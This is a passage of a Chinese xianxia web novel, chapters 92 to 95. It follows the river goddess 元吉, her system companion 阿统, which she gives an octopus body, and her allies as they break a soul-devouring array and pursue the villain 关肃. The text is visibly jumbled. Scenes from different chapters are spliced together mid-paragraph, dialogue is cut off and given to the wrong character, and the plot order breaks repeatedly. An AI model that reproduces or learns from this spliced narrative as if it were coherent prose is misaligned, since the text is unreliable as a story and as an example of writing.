见状,被他称为哑巴的宋青阳闻言眼底闪过一丝不耐烦,他冷冷觑了眼十一,做了个手势回道:“我的目标不是他。” “也是,一个没有修为的小丫头能坏什么事!” 十一切了一口,将手中的法器抱在怀中,倚着树干打了个哈欠:“人怎么还没来,你的消息准确吗?可别我等了这么久让别人抓到了。” 宋青阳低头摩挲着腰间的佩剑,并不言语。 下一瞬,一股浓郁的血腥味顺着风传来。 两人猛得起身相视一眼,瞬间消失在原地,只留下枝头的黑鸦定定瞧着他们呆过的地方。 “元吉”信誓旦旦,可面前的阿上眼中却流露出一份悲伤来。 下一瞬,元吉眼睁睁地看着自己的身影缓缓滑落,跌入阿上的怀中。 而后者像是捧着天地间至宝似的将“元吉”带入后山禁地。 此处,族中长辈从来不让他进入,因这是唯一一处不被天道注视之地。除了年幼的自己进来过一次外,再未有人踏足。 只要将元吉藏在这,天道便不会觊觎她一身灵力。 阿上小心翼翼地将元吉放在自己心爱的黄金石上,轻轻将她耳后的墨发编成小辫这样元吉吃烤鸡时便不会抱怨说头发总是同她抢肉吃了。 “元吉,睡一觉。”阿上握着元吉的指尖,银色的光芒一闪,两滴龙血飞出被他收入玉瓶。 他小心翼翼地替元吉修复伤口,直至恢复如初。 阿上如玉如竹的指尖轻抚元吉,他缓缓俯身,第一次偷偷亲到他喜欢了万年的人。 “等你醒来,便忘了我吧。” 第 92 章 第九十二章 第九十二章 山洞中,元吉看了陷入沉睡的自己一眼,转身跟上离去的亓官上。 他走得很急,像是不给自己后悔的机会似地逃离此处,带着股决绝。 元吉跟着他前往龙族住处,她环顾四周一圈,神情越发凝重起来。 往日此地枝繁叶茂,枝叶间总是能瞧见各色巨龙盘绕的身影。可如今,干枯的树木直挺挺地插在龟裂地面,祭天大阵中成山的白骨堆砌,在阵阵热气中逐渐扭曲了身形。眼前一幕幕,犹如根根扎入血肉的木刺,叫人钻心地疼。 连灵气最为充沛的龙族地界都如此,那世间又该是一番怎样的炼狱。 元吉眉心微蹙,看着亓官上专注的神情心中产生一丝不安的感觉。 灵气匮乏至此,只他一人怎么可能填补上。 河神庙内,夜文术缓缓吐出一口浊气,“我的个祖宗诶,照这个速度下去我很快就能突破了。” 他卡在现在这个境界都几十年了,还以为这辈子都突破不了,谁能想到有朝一日居然还能看到希望。 夜文术一想到这,不禁热泪盈眶起来。早知今日,当初他又何必抵抗,一定麻溜地收拾行礼投奔河神大人,别说当看门的“石狮子”,就是让他当块砖头他也愿意! 脸上的笑意还未散去,他便察觉一道身影出现在身侧。 夜文术仰头见是祁琰,刚想招呼一声便见后者目光深邃直直落在某处。顺着祁琰的方向看去,他忍不住嘀咕一句,“咦,河神大人又带人回来了啊。” 话音刚落,他便陡然察觉身侧的气压一低,顿时缩了缩脖子暗道一声不妙。 “哈,河神大人真是心善哈。”夜文术打着哈哈,却发现祁琰的神情越发难看起来。 夜文术顿时不敢多说什么了,默默缩到墙角,然后一手拿出笔墨一手攥着帛纸,兴奋地看起热闹来。 好刺激。忘川寒气萦绕,一层薄冰隐隐可见。 只听“咔嚓”一声,一道白光闪过。平静无波的忘川水面破开一道口子,一把被泥泞包裹住的长剑自水底飞出,带着三四根水草悬在上头。 乍一看,还以为这剑会分身术。阿统生气了,阿统哄不好了! 阿统再也不想理元吉了! 它怎么不知道自己的宿主还能给魂魄塑身,早知道,它就能早些…… 阿统将后半句话给咽了回去,继续冷哼一声。 元吉盯着它的背影沉思一瞬,恍然大悟,这大抵就是传说中的叛逆期吧。心情多变,难以猜测,元吉明悟过来,当即决定将这空间留给阿统,或许它更需要这份独处。 “那阿统待会记得自己回来。” 元吉丢下这句话便施施然转身离去,留下阿统不敢置信地扭头盯着她。 元吉、就这样把我给丢下了! 阿统瞬间被酸楚的情绪击中,这个统伤心得一闪一闪,就差死机了。 它飞快奔向元吉,紧紧趴在元吉肩头,阿统可不是这么容易被丢下的! 谁知这刚爬回元吉肩头,它便见一只水蓝色小章鱼形状的水球被元吉的神力所包裹,里面鎏金似的光点顺着水流不断旋转,霎时好看。 “元吉,这是什么。”阿统瞪大了眼,心中一个念头渐渐浮现,嘴角的弧度也控制不住地向上扬去。 元吉不以为意地将小章鱼往上送了送递到它面前,“刚才才想起来,我应该是会重塑肉身的法术,不知道阿统你能不能附到这上面。” “要不要试试看?” “要!” 不待元吉再说什么,阿统已经直勾勾地盯着那小章鱼迫不及待地冲了进去。 “元吉你真好!” 水蓝色的小章鱼突然多了个能控制它的意识,一时间水波流转,几条章鱼腿不受控制地在空中胡乱挥舞两下,再定眼瞧去,那两只小眼中已经是满满的骄傲臭屁。 “唔哈哈,章鱼大王在此,尔等小鬼速速退下!”阿统兴奋地挥舞着章鱼爪指向向易之,只是话到嘴边竟成了听不懂的“唧唧唧”声。 偏阿统也不嫌弃,往日只有元吉才能看见它。如今第一次众人能瞧见它,即便只是只小章鱼也足够了! 眼见阿统又叽里呱啦说了一堆话语,众人脸上的神情从一开始惊诧到后来的好奇喜爱。 “河神大人,这是哪里来的小章鱼,竟然如此活泼?”夜文术试图拿根小树枝去挑动章鱼脚,看看是个什么章鱼,却被毫不留情吐了一颗大水泡,淋得满头满脸都是水。 夜文术:…… 夜文术当即满含泪水地扑向有了实体的向易之,他要心碎了。 “莫要胡闹。”元吉将阿统抓在掌心,看向众人,“这是阿统。” 元吉瞧见亓官上低头凝视着阿统,一副若有所思的模样,又补充了一句,“是灵宠。” 阿统朝着亓官上抬抬爪子,“叽叽叽叽”我认识你,但是你不认识我。 亓官上似是没听到阿统的话音一般又上下打量了一番小章鱼,良久后,见与他记忆中的别无二般后,他收回眼中那一抹微不可查的复杂神色,顿了顿道:“嗯,很可爱。” 阿统傲娇抬头,自然可爱,这可是元吉给我造地身体! 有了阿统在一旁时不时捣乱,当向易之向众人讲述自己是如何变成魂魄后困在绝望谷无法脱身时,河神庙内的气氛倒也没那么凝滞了。 “你是说,你是被一抹黑雾所杀?”元吉听到此处,不由得挑眉望向一旁的关柔。 似乎太巧了些,关柔也是被黑雾所追杀。 “或许,那背后是同一人。”亓官上幽幽补充,“你们可有什么人选?” 向易之同关柔对视一眼,齐声道:“关肃!” “肯定是他,这人自小便看不惯我日日给我下绊子。”向易之回想起当初他在关家生活的那几年与关肃发生的种种,不由得咬牙切齿起来。 “当时大伯就不该收留他!这等白眼狼,就该让他自生自灭去。” 向易之锤了拳面前的石桌,愤怒至极连桌上的茶盏都被他震倒好几个。 亓官上不动神色地抬抬手指,一道无形的气流将本会落在元吉裙角地茶水引到另一侧,在地上堆成一个小小的水坑来。 关柔同样气得面色绯红,但她心中仍有不少顾虑,这么多年来那黑雾追杀她多次,她也是能明显感知那黑雾的实力是越来越强,好几次她都差些无法逃脱。 “若真是关肃干的,他的实力恐怕……我们不是他的对手。”关柔将她对黑雾实力的判断一一说来。 从一开始如同稚子扔小石头,到能将人一击毙命,再到现在能一击排山倒海,实力的飞速增长叫人咋舌。 向易之沉默一瞬,他咬牙切齿的骂了声,“真不知道他是怎么将实力提升如此之快。难道我们就这样坐以待毙吗?” 一时间,静默的气氛在众人间弥漫开来 “他实力究竟如何,打一下就知道了。”元吉不奈地指尖叩击桌面,她向来对这种复杂弯弯绕绕之事不敢兴趣,与其畏畏缩缩等待不如主动出击。 元吉将那枚从寒石身上搜来的钥匙递到关柔面前,“对了,这是你要找的钥匙。” “这钥匙是天极宗后山的一处秘境的钥匙。”关柔眼前一亮,原先还有些踌躇,“我们关家除了玉简外所有奇珍异宝、天灵地法都在哪里。” “当初我被抓走关在一处秘境中,有一人要我交出关家的机关术,现在想来定是那关肃!”关柔咬碎一口银牙,当初那人用术法蒙住面容不让她看清真实面貌,如今想来定是那关肃怕事情败露。 关家灭门,定是那关肃干的好事! 关柔一双眸子瞬间被血丝布满,恨意占据其全部瞳仁。 “噫。”阿统忙得捂住鼻子,有些嫌弃地扇了扇,“元吉,把它们处理了我们就能回去了。” 话音刚落,元吉便眼睁睁看着一道黑影飞来,将她好不容易捞出来的垃圾给重重砸进水中,溅起无数水花。 “啊啊啊,鬼啊!”阿统尖叫一声立即躲到元吉背后,一眼不敢看地上的黑影。 看着空荡荡的垃圾堆上飞来的一把大斧,元吉怔神片刻,又瞧瞧不远处满身狼藉正匍匐在地上呕血的少年,舔了舔后槽牙,气笑了。 好样的。 祁琰远远瞧着那道令人厌恶的身形,嘴角顿时抿成一条直线。他声音沉得让人心慌,问道:“他怎么会在这,嗯?” 突然出现在脑海中的质问吓了曲云轻一跳,他猛地从燕枯头上爬起来,即便现在它只是一头貂,厚重的毛发也挡不住它脸上的惊慌。 “尊,尊上。”曲云轻磕磕巴巴想解释,却又无从说起。 他明明将人给关入一处秘境,没有两年的时间是绝对出不来的,可怎么这人如今又生龙活虎出现在这。 祁琰压下心中的怒气,冷哼一声,“废物。” 霎时,曲云轻大气不敢出,只能死死将头贴在地上,心中不断祈祷河神大人快回来。 像是察觉到了什么,跟在元吉身后的宣长生缓缓抬头同祁琰对上一眼,而后挑衅一般勾起嘴角,一脸得意地无声道。 “你输了。” 目睹一切的阿统:!!! 它用力揉了揉眼睛,瞧着此刻又一脸乖巧的宣长生,怀疑人生。 它一定是中病毒了,所以才会产生幻觉。 元吉:? 两人快步走到河神庙前,身后的宣长生率先开口,“这里便是前辈的住处吗,好生气派。” 宣长生目光快速扫过周围的环境,视线落在那咔咔作响的食人草上猛得一顿,语气有些不自然道:“特,特别是那植物,生机勃勃,瞧着便让人心喜爱。” 对上宣长生一脸崇拜的眼神,元吉微微点头,心中赞许。 这人还挺有眼光,她这捕虫草确实挺活泼的。 见状身后的阿统欲言又止。 算了,元吉你开心就好。 祁琰掩去眼底的不耐,眸光淡淡略过宣长生,落在元吉身上,轻声道:“回来了,下次再去捡垃圾可唤我一声,我陪你去。” 元吉脚步一顿,一双杏眸闪过一丝疑惑。她定定瞧了眼祁琰,确认这人没被奇怪东西夺舍后微微颔首。“好。” 得了应允,祁琰嘴角噙着笑意装作不经意间望向宣长生,“这位是?” “在下宣长生,幸得前辈出手救下。”宣长生朗声道,话音未落便陡然察觉一道目光落在自己身上。 “长生?宣长生?!你还活着!” 夜文术脸上的喜悦之情溢于言表,他猛地拉过宣长生的双手上下打量一番,一脸欣慰,“我的个祖宗诶,长这么大了啊。” 宣长生:? 宣长生扯出抹笑来:“您是?” 夜文术将他搂入怀中拍了拍,安抚道:“你可以唤我一声夜叔。可惜啊,长生,你来晚了一步,不然就可以见到你爷爷了。” 宣长生额头抽搐两下皮笑肉不笑,闻言猛地睁大了眸子:“我爷爷!?您这话是什么意思?” “长生别急,你听我慢慢同你说。”夜文术拉着长生缓缓坐在门槛上,一五一十将今日发生的情形告诉他。 元吉瞧着这一大一小的身形,惊讶地挑了挑眉。 没想到这“吉祥物”的位置还带继承的。 片刻安静后,祁琰低头凝望着元吉,漆黑的瞳孔中翻涌过复杂的情绪,随即又快速恢复平静,“先进去吧,他们,似乎有很多话要说。” 元吉轻声应了句,抬步往河神庙内走去。突然间她想到了什么,忍不住问道。 “阿统,那个任务是怎么回事?” 阿统:…… 别问,问就是系统故障了。 * “嗬。” 元吉猛地一口吸气,她睁开眼,自己已经重新回到意识海中。 她低下头去,看着已经失去光泽碎成好几块的琥珀,有些惊诧,“我,不是已经祭天道了,怎么还能回来?” 还不待她弄清这个疑惑,尘封的记忆连同她对亓官上的情感如潮水般袭来,一滴泪水自她的眼角滑落。 元吉摸了摸尚带水痕的眼角,心中空落落的。“我这是怎么了。” “对了,阿上!”她猛地惊醒,环顾四周一圈后元吉闭上眼眸从意识海中脱离。 再睁眼,那道和记忆中重合的红色身影再次出现在元吉面前。 元吉心猛得一跳。 她快速向他奔去。 阿上! 第 93 章 第九十三章 随着两道电子音的落下,元吉陡然察觉自己的魂魄变得坚韧了许多,而她的神识中也多了许多的记忆。 不似先前的一闪而过,这次她的记忆中多了一个人的身影。 那人一身暗红色的长衫上用金线绣着吉祥的纹样,他缓缓朝自己走来,伸手递给元吉一把雕镂着祥云上头用各色宝石点缀的镜子。 “给你带回来的礼物,星云镜,莫要生气了。” 元吉抬眸想将那人的面容看个真切,却总是有团浓雾将其挡的严严实实。 一道暗光从眸中闪过,元吉出神片刻,慢慢伸出手在空中盈盈一抓。 无数看不见的灵光像是受到召唤疯了一般朝她涌来,而后没入元吉体内。 “河神大人?”方明珠轻唤一声。元吉越走近这建筑,奇怪的感觉越盛。她快步上前走了两步才发现,这河神府同她记忆中的某处地方颇为相似。 临窗而摆的玉石棋盘,雨天赏荷的凉亭,就连那枯树的枝桠都是一样,不过上头少了那飘荡的红绳。 “这地方……”元吉咽下喉间的话语,一个大胆的猜测涌上心头。 难道她先前也是这个世界的人?可这……看了眼还在兴奋探险的阿统,摇头将这个猜测放置一边。 许是我多想了。元吉颇为坦诚,眼神期待地望向亓官上,她倒是没想到这人的手艺这般好。燕枯虽烤肉也不错,可她总觉得好像差了些什么,今日总算知道了。 像是渴求了的人突然得到一碗清泉,即使已经解渴还是会下意识舔/着唇角想再来上一碗。 “总是吃鱼也会腻,不如先吃块点心换换口味。”亓官上从怀中摸出临走时燕枯做的那碟子点心,此刻还微微泛着温热,“等你吃完,这鱼便也快好了。” 阿统看着亓官上又是递茶盏又是拿点心的模样,总觉得这人似乎格外殷勤了些。 可转念一想,自己的宿主这么乖,谁不想对元吉好呢。 逻辑通,阿统看着亓官上的眼神更为满意了。“元吉,这人可以留下。” 元吉咬了一口点心,清甜的香气充盈整个口腔,令人身心愉悦,一时间元吉也开始思考,或许待诅咒解除给这人在河神庙留一间房也未为不可。 正这时,栾萱一脸兴奋地带着关牧平从后院跑到前头,脸上的得意是藏也藏不住。 “河神大人,快猜猜牧平他做出了什么!” 元吉瞧了眼有些害羞地躲在栾萱身后的关牧平,眉梢微扬,“哦?是什么?” 栾萱怼了怼关牧平,示意他将自己做的东西拿出来。 “河神大人,这是我自己做的。”关牧平有些羞赧地将一只由木头组成的极为小巧的机关鸟递到元吉面前,“这是我根据我娘留下的笔札摸索着做出来的。” 他轻轻往上一抛,这机关鸟竟如同真的一般扇动起翅膀在空中滑翔了起来。“只需一点气流,它便能在空中盘旋许久不落。” “只是我不像我娘那般聪慧,做的不够好还望河神大人莫要嫌弃。”关牧平本想着这辈子都不暴露出自己是关家人的身份,可元吉给了他莫大地安全感,一闲下体内关家的血脉便显露出来了。 一有空他便摸索着想做些什么,这不,短短一两日他便做出了这能飞翔的鸟儿来。 “做的很好。我很喜欢。”元吉放缓了嗓音,轻轻柔柔地拍了拍关牧平的肩头,“我瞧着上头的花纹倒是好看,不像是你的手艺。” “河神大人是我画的!” 一提到上头的花纹,栾萱便更为高兴地昂头,那上头的花纹是她掺了蝶粉画的,在月色下闪着银蓝色的微光,可比银河更为璀璨。 “甚是好看。”元吉郑重点头。许是等人等的无聊,此刻的她被两个半大的孩子拉着倒来了几分童趣,她看着手中的机关鸟,灵光一闪。 她记得,商城里好像有那个东西。 “在这!” 元吉从商城中兑换出一枚指甲盖大小、此时正闪烁着光芒的爆炸果来。 “元吉你兑换这个干什么?”阿统疑惑地凑过来看着元吉将那种子卡在机关鸟的短喙间,“这爆炸果可是会爆炸的!” “不怕。”元吉不以为意地在爆炸果上快速下了一个禁制不让它在机关中爆炸,她记得当初看商城介绍,这爆炸果炸开时每颗种子都会像火星子一样迸溅。 若是由这机关鸟衔着爆炸果在空中滑翔一圈,纷纷扬扬的星点从空中缓缓落下,像是人间烟火定会格外好玩。 元吉自寻回部分记忆后,脑海中便多了许多玩乐的记忆,好像以前有人也用烟花逗自己开心。 元吉还想着继续回忆那人的眉眼,却觉得一阵朦胧,旋即便是锥心的刺痛。 罢了,等她寻回全部记忆就知道那人是谁了。 元吉摇摇头将这个念头抛到脑后,她抛了抛手中的机关鸟,嘴角微扬,“给你们看个有意思的。” 热烈的篝火时不时迸溅出几颗如萤火般的火星,元吉少见的鲜活明媚的笑容落进亓官上心头,他静默许久,只是看着、不曾挪开半寸眸光。 半晌,他不动声色的在宽大衣袖下勾动指尖,一抹为不可查的魔气附上机关鸟,为它镀上一层坚不可摧的盔甲。 谁都不能打搅元吉。 光洁白皙的手拖着机关鸟轻轻往上一推,那稍显稚嫩的机关鸟竟真的分外灵活地在空中盘旋起来,随着它的滑动,周身银蓝蝶粉簌簌落下。 繁星坠落。 “嘭!” 机关鸟口中的爆炸果爆炸开了,因有禁制限制,那爆炸果并未迸溅出火星来,只是无数密密麻麻的种子自机关鸟口中滑落。 亓官上缓步立于元吉身侧,将手中烤好的鱼递了过去。 元吉偏头看了一眼,夜幕下,她对上亓官上低头望向自己的视线。那眸光深邃而幽远,像是股春末的柔风,温暖而不可挣脱。 红于蓝的交织,点与点的碰撞,恍若让人觉得这银河都为元吉倾覆,为她送上这一片梦幻。 元吉的心兀得跳动一下。 “阿统,这河神府和我那河神庙有关系吗?” 阿统被喊回来,才恋恋不舍的扭头将目光从那一片空地挪回来,这地方不错,可以将商城里的建筑都搬过来。 阿统跃跃欲试,甚至在琢磨翻墙去好兄弟那敲些“代码”回来,让它能悄默声地从系统商城里搬东西出来,。 “元吉,我看了看,这个地方也是你的!” “不过当初它在结界中所以系统没有察觉到,这也是河神庙,你可以把它理解成这是总的庙,而我们先前住的那个地方是它的分庙。” “不过很奇怪,系统上显示这河神府是突然出现的,没有任何先前的记录。”就像是被人给抹去了一般,。 阿统抹去半句话没告诉元吉,转头便将查询到的河神府及方圆百里的情况告诉给了元吉。 元吉慢慢将手收回,“无事,我去休息片刻。” 待周遭无人后,元吉将阿统唤出,她沉了沉嗓音,“阿统,我生前的事你知道多少?” “啊?”阿统一脸茫然,“元吉你怎么了?” 元吉定定盯着它看了半天,摆手。“算了没事了。” 一口气堵在心中,心中的那个疑问却久久不散。元吉有些烦躁地咋舌一声,方才送出去的灵力,在她一片魂魄归位后又吸收了更多的灵力在她体内,此刻灵气在她体内挤挤攘攘惹的她更为心烦。 眼见着这灵气多的快溢出来了,元吉抬手从储物袋中摸出了十几枚灵石作为阵眼。 再以整个河神庙为阵,灌入大量的灵气,倏忽间,一个巨大的蕴灵阵形成。 众人只觉一阵轻柔的风拂过,周身的修为顿时暴涨了许多。就连那食人草的根茎倏地涨大一圈,连叶片上的光泽都亮了不少。 “嘶!”燕枯看着这变化,顿时倒吸一口凉气。“你们有没有发现,这灵气多了好多。” “这定是河神大人赐下的福泽。” 乌伯山一脸虔诚地朝着元吉的方向拜了拜。“传闻中,河神大人会给自己虔诚的信徒赐予祝福,这肯定就是河神大人的祝福,我们不要错过了。” 第 94 章 第九十四章 “真是好大的口气。” 那人眯着眼,手中化出一根法杖直直插入地下,无数藤蔓像是交叉盘绕细蛇将地上那群还未醒来的修士抓起丢入阵法之中。 身体突然腾空,当即便有不少人清醒过来。 “这是怎么回事!” “我怎么了?那水果然有问题!” 几声无意义的呼喊后,他们才发现更为紧迫的是,他们好像马上就要死了。 惊恐之下,好几人试图施法斩断捆住自己的藤蔓,谁知自己的法诀刚掐出便被那阵法给吞噬了。 它像是个刚醒来急需食物的怪物,大口大口撕咬着嘴边之物,不管三七二十一,胡乱咽下。 “师兄你的头发怎么白了。”腾垚长老看着浮生长老快速变白的头发,整个人猛地一惊,紧紧抓住他的胳膊。“师兄,他在吞噬你的灵力!” 另一人听到这话低头看去,更为惊恐,“我的手不见了!” 闻言众人瞧去,果真见那袖子空荡荡地垂在身侧,整个胳膊竟这般消失了。 恐惧像是墨汁落入清泉,迅速扩散开来。 元吉看着这群人五花八门地使出自己的本领想冲破这阵法,却被它吞噬地一干二净,倒像是在投喂一般。 她摇摇头。 在他们走出山洞的那一瞬间,整个山洞骤然坍塌,尘土飞扬。 村民们看着这堆废墟,心下一松,他们相视一笑,一个念头在心中涌起。 王大嘴说,当初河神大人是在河神庙内救了他。 那他们…是不是也可以去看看河神庙? 元吉正负手琢磨着刚拿到的第三枚铜质卐字牌,也不知道它是如何幻化成的面具,便察觉无数的目光落在自己身上。 将铜质卐字牌收起,元吉抬首便瞧见村民们一脸期待的望着自己。 元吉:……? “河神大人。”王大嘴被村民们视作代表过来,心中自豪却又有些羞赧地挠了挠头,“您的救命之恩我们永远记在心中,只是有些人不是我们燕村的,不知日后他们是否也能来河神庙供奉?” 燕村是唯一一个还有着供奉河神习俗的村子,其他的村子早在修士踏入这片土地上时将供台上的河神牌给遗忘了。 如今看着河神大人出手救了自己,这群人只觉得懊悔不已,面上火辣辣地疼。 他们居然会信那群来外只知欺辱凡人的修士,却将世世代代保佑他们的河神给遗忘了。 可河神大人还是不计前嫌地救了他们,一时间村民内心激动万分,恨不能现在就回去将那河神的神位找出来好好供起。 来河神庙供奉?元吉与祁琰回到先前的地方,果不其然此处已经没有了穆德忠与松盈子的身影。 “有打斗的痕迹。”祁琰扫了一眼,很快推测出在他们走后,有七八人出现在此处把他们抓走了。 元吉思索片刻,唤出系统。“阿统,看下附近有没有他们的踪迹。” 阿统快速打开地图,很快便找到了两人的踪迹。“元吉,往北边走,那边有个山洞,他们在里面的密室之中。” 元吉确认了方向,刚巧祁琰也找到了松盈子留下的记号。 一路追寻,两人很快便来到山洞前。 这山洞隐蔽得很,成片的藤蔓垂下遮住了大片洞口,若不是有风从洞口传出很难让人发现。 “小心,门口有禁制。”祁琰将元吉护在身后,“贸然进去会打草惊蛇。” 元吉瞧着那山洞,这禁制并不复杂,甚至说有些简单,她只需一击便能破除。 可确实如同祁琰所说,破了禁制,说不定便会让幕后之人有所防备。 “有人来了。” 元吉听到几阵嘈杂的步伐,当即拉过祁琰躲到一棵大树之后挡住两人的身形。 偏头瞧去,只见一人身着墨绿色,手中牵着一麻绳,正抬手用手中的鞭子抽打身后的几个小娃娃。 “走快点,别磨蹭!” 山洞之内很快便走出一人前来接应。来者满脸横肉,一双鼠目前后打量一眼。从鼻孔中狠狠出了口气,语气嫌弃,“怎么就这么几个小玩意?连个修士都没有。” 洞外之人摆手,“别说了,这附近的村民能抓的都抓来了。能捡到个小娃娃都算运气好。” “啧,等下那位看到又要冲我们撒气了。” “可不,真希望从天上掉下个资质好些的。”那人摇头叹息,“还是土虎那家伙命好,能遁地,悄摸声就抓了几个修士回来。” “唉。”两人齐齐叹息一声,又撒气似的将手中的长鞭高高甩起抽打身后的村民。 一个看起来哦不过五岁的小女娃脸上挨了一鞭子,顿时脸肿的老高。眼泪不停地从眼眶中滑落却也不敢哭出声来。 元吉心中狐疑一瞬,脑海中顿时闪现出最初遇到王大嘴那几人时的情形。 面黄肌瘦的人将难得的吃食摆在河神的神位前,即便是饿得连走路都走不稳,也不去碰那些吃食。 思量至此,元吉不赞同地看了王大嘴一眼,冷声拒绝。“不必。” 村民心中咯噔一下,紧攥着的手茫然松开,眼眶微红已隐隐可见泪光。 河神大人不愿意原谅他们。 元吉瞧着这群人突然一个个擦起了眼泪,顿时一噎。 她神情复杂一瞬,不太明白这群人为何突然从笑变成哭。 就因为她不让这群人把难得的食物堆在河神庙里? 听到元吉心声的阿统:…… 它的沉默震耳欲聋。 别问阿统,阿统它也不明白。 “罢了。”连绵不绝的啜泣声不断地在元吉耳畔环绕,她无力扶额,“想来就来吧。” “但是不必供奉。”元吉依旧坚持这点不松口。 “多谢河神大人!” 闻言村民破涕而笑,河神大人能允许他们去河神庙,已是大度。又听元吉叮嘱他们不要浪费食物来供奉她,更觉得元吉心善至极, 他们所遇到的修士,无一不是要他们拿出吃的喝的来招待。稍有不周到的地方,修士们便用法术来惩治他们,痛不欲生。 哪里像河神大人,不仅出手保护他们,还不要他们的报答。 这才是真正心怀天下的神啊! 村民们无一不是泪眼汪汪地在心下做了个决定:等他们回去要让更多人知道河神大人! 河神大人不让立神位供奉,那我做个神像摆在家中应该就不算供奉吧。 某擅长雕刻的村民默默将元吉的模样记在心中,日夜雕琢,一尊栩栩如生的神像便赫然出现。 无悲无喜的眸光注视下,更让人为之疯狂起来。 此时的元吉并不知晓,正是她此刻的一句话,她的神像便在几日后突然附近悄然流行了起来。 某日夜深人静之时,几人鬼鬼祟素出现在村头见面。 “婶子,你那还有摆件吗?”一婆子拉着另一人到角落悄声问道,“我家娃娃昨日魇住了,想请一个摆件回家镇一镇。” 另一个当即紧张地环顾四周,悄悄从怀中取出一个木雕来小心翼翼递过去,“快带回去放在娃娃床头。这个摆件可是老刘头做的,有九分神似。” “天呐,九分!”婆子惊呼一声,当即将那木雕藏进怀里生怕被人瞧见。“谢谢婶子!我先回去了。” 那人欣慰一回头,猛的对上好几人谄媚的笑意。一身长八尺的村头大汉压低了嗓音,“婶子,还有河……” 身后眸子猛的一睁,扬手捂着他的嘴。唬得大汉立即改口,“摆件!你那还有摆件吗?我最近也魇住了,想要一个。” “给你。” 元吉挑眉,语气不屑,“这阵法,似乎不太行啊。” “你……”“关肃”瞪了元吉,怎么也没想到这元吉身上灵力竟然这么多! 他神情变化几番,最终贪婪的目光落下,这定是那龙骨的威力。 待他取得那龙骨,他必定是这天地的统治者! 他快速上前一步,放出全身所有的藤蔓去加固阵法。 万年前的阵法,他绝不可能让它在此刻再次碎裂。 元吉见他这般癫狂,最终还是摇摇头。 “不知死活。” 话音落下,漫天的“白棉花”齐齐下坠。 阵。 破了。 第 95 章 第九十五章 阵法破碎,被困的修士,妖兽齐齐挣脱控制,巨大的反噬下,关肃的身躯快速衰败萎缩。 没了身体的支撑,藏于关肃体内的那道魂魄瞬间便被挤压出来,化作一团黑雾飘荡在空中。 元吉神情一凛,快步上前伸手抓住那道魂魄。 指尖触碰到黑雾的瞬间,元吉的眼前出现了一张腐朽衰老的面容,像是一层层树皮堆积而成。 它快速张开巨口发出一声怒吼,试图将元吉吞噬掉, “啧。”元吉面上快速闪过一丝嫌弃,她收拢回手,同那张脸保持一定的距离。 他是吞噬了多少生灵,怎么魂魄如此污秽。 “元吉,他身上的罪孽太重了。”阿统突然出声提醒,“这个人留不得。” 元吉轻颔首,她划破指尖,抬手凝出一支长箭。带着龙血金色火焰的羽箭,是这世间最为纯净的武器。 “嗖。” 元吉刚抬手接过,便见黑暗中幽幽地响起一道吸气声。 两人对视一眼,闻声向那声音响起之处走去。 黑暗狭窄的甬道中,一道如同蚕蛹的浮肿身形横躺在水洼之中,正嘶嘶的发出艰难地抽气声。 元吉心中闪过一个人名,她快步上前,从指尖凝出一点白光。 突如其来的光亮惊扰了这幽暗的山洞,顿时蝙蝠乱飞,尘土漫天。 好半晌,元吉才堪堪认出他来。 元吉语气冷淡:“宣长生。” “嗬。”宣长生身形一僵,陡然发出声笑意。只是随着他胸腔的震动,周身的伤口被撕扯地更为厉害些,疼得他掐断笑声不住地吸气。 “河、河神。” 宣长生抬头望向元吉和亓官上,眼中满是不甘。凭什么,这次又是你。 “亓官上,或是祁琰。” “亓官上,为何,每次都是你!” 亓官上冷眼觑着他,揽过元吉的肩头便要带元吉离开。 “你的命真好,好到让我嫉妒。”宣长生突然像是疯了一般,厉声质问,他的声音嘶哑,却像是不知痛苦一般,一声又一声。 “明明我的运气才是最佳的,可为何每次失败的都是我。” 元吉狐疑地在心中念叨了两句“每次”,她定定望向宣长生,心中突然浮现一个念头。 这人,莫不是也带着前世的记忆。 元吉突然蹲下身,犀利的目光锁定宣长生,“你知道什么,告诉我。” 宣长生扯出抹挑衅的笑,“我为何要告诉你。帮你就是在帮他,我凭什么要让他过得痛快。” “因为你爷爷。”亓官上突然出声,他低垂眼,语气波澜不惊,“他找了你很久,想来并不希望看到你变成这个模样。” 自从宣长生来到河神庙,他便一直没能同他爷爷见上一面。如今眼见他这般灵力殆尽,怕是很难支撑到宣成仁赶过来。 亓官上看着宣长生突然怔住的模样,顿了顿继续道: “我与你交手那日便联系上了他,想来不多时他便能赶过来。” 宣长生眸光震动,他失神地望着面前的巨石,口中喃喃,“爷爷,爷爷……” 箭破长空,在接触到黑雾的瞬间,将其燃烧殆尽。 听着那凄厉的嘶吼,元吉的面上却并未露出过多的笑意。她压下心中的疑惑,扭头望向突然陷入沉睡的众人。 阵法已破,可他们又再次陷入昏迷。 “元吉,他们的灵力在快速消耗。”亓官上一脸凝重地将他的发现告诉元吉。 “阵法已破,是又其他东西再吸取他们的生命力。” “蛊虫!”元吉偏头,深深看了眼众人,她从兰无思那里获得的丹药只能压制蛊虫,并不能真正祛除。 她抬眼看着逐渐消散的魂魄,这人的魂魄竟然只是一部分。“我们追,那人身上说不定有解决方法。” 元吉闪身追上那魂魄,才发觉自己竟然来到了后山那处山洞之中。 幽暗潮湿的山洞中水汽弥漫,时不时倒挂的蝙蝠飞过惊起一片气流涌动。腥臭的气息随着元吉的深入越来越厚重,呛得她咳嗽好几声。 “元吉,戴上这个会好些。”亓官上递过一块面纱,他担忧地拉过元吉的手,为她附上一层隔怪异气息的结界。 “小川是我的义子,他死了。那他的过错便由我来承担,也算是我这义父最后能为他做的事。” 穆德忠带着股视死如归的决心,跪在元吉面前,郑重道:“待我送少主子回到穆家后,我便以死谢罪。” 元吉:……? 元吉怔了怔,有些莫名地瞧了这小老头一眼,她要穆德忠的命干什么? “阿统,他在说什么?” 阿统琢磨片刻,客观地解释道:“通俗来说,穆德忠与岳天川是父子关系。所以他应该是想将岳天川身上的因果揽到自己身上,然后把他的命给你以偿还因果。” 闻言,元吉敏锐地捕捉到“父子关系”“因果”这几个字眼。思绪快速流动,片刻后,她眼中闪过一丝复杂的神色。 元吉顿了顿,难以置信道:松盈子猛得摇摇头,将这个荒诞的念头抛出脑袋。 自己一定是魔怔了。 另一侧,元吉看着熟悉的小青剑出现在自己面前,绕有兴味地挑了挑眉。 “知节?” 小青剑听到元吉唤自己的名字,顿时更加高兴了,“嗡”的一声发出剑鸣。 若是它此刻能幻化出剑灵,恐怕早就高兴地在地上一蹦三尺高了。 穆德忠被知节的出现吓了一跳,手攥紧了武器正欲防备,待他反应过来时心中一喜,“知节剑!” 